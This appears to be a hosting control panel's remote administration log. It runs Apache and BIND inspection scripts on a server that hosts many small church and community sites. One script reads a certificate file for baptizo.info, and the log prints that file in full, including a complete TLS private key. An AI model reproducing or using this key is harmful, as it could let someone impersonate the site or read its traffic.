MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:19:43: Establishing a connection
2026-01-03 19:19:44: 

PUT: /tmp/pkp313202

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:19:44: 

chmod 755 /tmp/pkp313202; /tmp/pkp313202; rm /tmp/pkp313202

2026-01-03 19:19:44: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:19:44: 

PUT: /tmp/pkp590041

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/baptizo_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:19:44: 

chmod 755 /tmp/pkp590041; /tmp/pkp590041; rm /tmp/pkp590041

2026-01-03 19:19:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/baptizo_www_info.conf	1355

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:19:44: 

PUT: /tmp/pkp164430

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:19:44: 

chmod 755 /tmp/pkp164430; /tmp/pkp164430; rm /tmp/pkp164430

2026-01-03 19:19:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt	5368
36:bb:aa:02:70:c4:8c:46:58:fa:7a:1b:64:2a:53:c9

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBVt6HzhaCRTuB2Nn6F46fQGxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjA0WhcNMjYwMzI4MDUwMjAzWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDG
87IFN5sovfmQIQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nq
tRk4yuJBSex2jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHz
p+1GXVpp5ypRHPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Q
yi5uUYX1UyBnuPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOw
JwGjbBjYlMaEJ9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YL
fEmHDubNlW6Z07QrFSS5AgMBAAGjggIvMIICKzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFDtSliW9F8ANW35I7i9Sud6lhjbcMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGbY4tV
lgAABAMASDBGAiEA9jmXv86nNnPWvGybARcOz8LDPGYrHobFlV08ZOE2GzsCIQCm
npNwW3l5ECw2meuCYYc64RlT6U7qRLKXnOPfOOzmMAB2AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABm2OLVeIAAAQDAEcwRQIhAMvoWluaTObtoVy/
C0hzZwXcqzMXwXOg4HHUXOmxC6QqAiB7C+hPF+fPIyBtnnfu6JHYSEelayQAHvfR
gdV3wjh4GzANBgkqhkiG9w0BAQsFAAOCAQEAVaugpCT2XvdtgYQCy3yrPAc1Ghwd
cmFGIbr64BKWuXJaUTMZG1rthKzo4XARKbrGd6+URNsxhuAzykWDPdeUNCSikJaO
4reFzNxaynH7d3vjwEIovJ6eKD+RkfjqY9xrBWNYUQxBOSKeIutWWDIyj4UudYet
aUnhrF+7Wytx78tMx3kiIz5n6HEfcyuMrNAZfvZJSHgm9GX3oN53XBUlmD3xPmD/
yxPFVLkNferluFO2q6dI4Wi861bDKSw7rSL/3LifCc5YLK6ZGjy65TU5z7tFVxIe
GePf2YXQHVpKDm9txnXlONzhWJKevtBMNwioUh8qAPgXzA150AGlM8mk7g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDG87IFN5sovfmQ
IQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nqtRk4yuJBSex2
jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHzp+1GXVpp5ypR
HPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Qyi5uUYX1UyBn
uPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOwJwGjbBjYlMaE
J9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YLfEmHDubNlW6Z
07QrFSS5AgMBAAECggEAKqifq/M1m3mKjJ8t8okOrtrpj6n2/azOkTi4DCccSQYi
/tSWxgvdnRwRJMYyDxHXiC4vG4iTFW04nN3u9JXN1ZAV0MtEUMhpT+BRaQNatVO7
Pl5a4R1UyN4q29y+dyj2iThhTcRgCdOldPF4njes8dEBj9CnXzNZ2U2hzG54g8L9
vKSltWCen0dYWlmVTUzNNreR4Xt4IKpKifgpePNx913smq5l+6GmpdLj+AyvGSWZ
xuuWu4TUPxR34A8nv15Et7NB2ZKeC/jHrtR0U3BDUVYsrvVsUigx9EvTxAowu9TV
QhwNIrBGo+bZgJX5kDXm3zuENY1DWfxSOf8EJIYlVQKBgQD1NG/REjGUyE6lbdyJ
x/Nd3JOxpBgjRkjoqveoU20TAW0qdasWYA6E/BFHJZ2esYcpnpyxDIG7/2531XVR
ZIQLNS60ip9U2U7EYGysk1ZXflRyz6w9cnSr9rXKGgyf5n2LzQeI4RPtC60H5NNu
SoVvlO/QSPhB4O/+ioPWYdKOTQKBgQDPtff9MGiN7HV5s0tdHxsCwD9P6gfNz4Tf
ujEbK9LZoPzRfXSYLhkBEHxrtdShLmhSKnIJGuyIswc2PROGeZ8pLP51NM9qA354
q9L7YA/a2GeGeMNHwjnswyg3IVpl9sBOUWXJE2Zs29c17qZElrr1msyqMTtXTszZ
EMdUwsYeHQKBgDmUzMVN/nKv7zgN6oI4gEAEcnJ+1GRENw7cRzgyDyUtapNT+o9Q
k1hLUUth2/fOPK1bX/R7uWOKgkiFyf0JG7D+Fi+zdeMY/NREyIBmQRpewjoL5qiv
XhKb5ujE4T4ThFv2E9Ti9ijuWv3FkJkPyvH/Canh2NqvlewyXu9THXzpAoGBALD+
SXwpVN6jAJOcsXp/d//HG+wX62B4FayjNxcFJ92krepBMio/FbVve+Y4giB6sBBb
9OJHXAk8LMgOEWZEmth2a7oqLxgSNCHVoKnteHUudEEFBLpQChXzUoBv3l0Gf2X9
PHO0IVJfnqppWqsVmeiRaRcZbox+LFZHUuOqOTINAoGAXAprnTTdMdC6m9BGfXJQ
gYvxTaR2ali/KVJSTx/G8Z7LDgp6hsXiQEdGFqaU3ZydCzyOfn4i4e/xNwnzmzDB
+1Ab+LVYSrdTfyfV8ImbYTrFqrOQIiuYGD4VSXRnDM/KWmXf0UYM2gATkvNZmtFT
9CgANuLJWF3OatgOF9z3EQU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:19:44: Establishing a connection
2026-01-03 19:19:45: 

PUT: /tmp/pkp484314

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
